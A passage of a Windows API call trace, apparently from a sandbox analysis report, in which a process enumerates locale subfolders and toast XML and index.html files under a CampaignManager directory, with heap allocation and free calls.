nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0292.180] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0292.180] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0292.180] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0292.180] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0292.181] GetProcessHeap () returned 0xaf0000 [0292.181] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0292.182] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-IN", cAlternateFileName="")) returned 1 [0292.182] GetProcessHeap () returned 0xaf0000 [0292.182] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0292.182] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IN\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0292.183] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7ca1328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e42efab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0292.183] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0292.183] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0292.183] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0292.183] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0292.184] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0292.184] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0292.185] GetProcessHeap () returned 0xaf0000 [0292.185] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0292.185] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-MY", cAlternateFileName="")) returned 1 [0292.185] GetProcessHeap () returned 0xaf0000 [0292.185] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0292.185] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0294.083] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d0e1e3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.083] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.083] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.084] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.084] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0294.085] GetProcessHeap () returned 0xaf0000 [0294.085] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.085] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-NZ", cAlternateFileName="")) returned 1 [0294.085] GetProcessHeap () returned 0xaf0000 [0294.085] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-NZ\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0294.087] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d107f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.087] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.087] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.087] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.087] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.087] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.087] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0294.088] GetProcessHeap () returned 0xaf0000 [0294.089] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.089] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-PH", cAlternateFileName="")) returned 1 [0294.089] GetProcessHeap () returned 0xaf0000 [0294.089] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0294.090] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7d8451a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e4551d8, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.090] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.090] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.091] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.091] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0294.091] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0294.091] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0294.092] GetProcessHeap () returned 0xaf0000 [0294.092] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3686260 | out: hHeap=0xaf0000) returned 1 [0294.092] FindNextFileW (in: hFindFile=0xb03088, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0294.092] GetProcessHeap () returned 0xaf0000 [0294.092] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3686260 [0294.092] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0294.094] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7de1d75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e47b424, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0294.094] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0294.094] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0294.094] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0294.094] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, 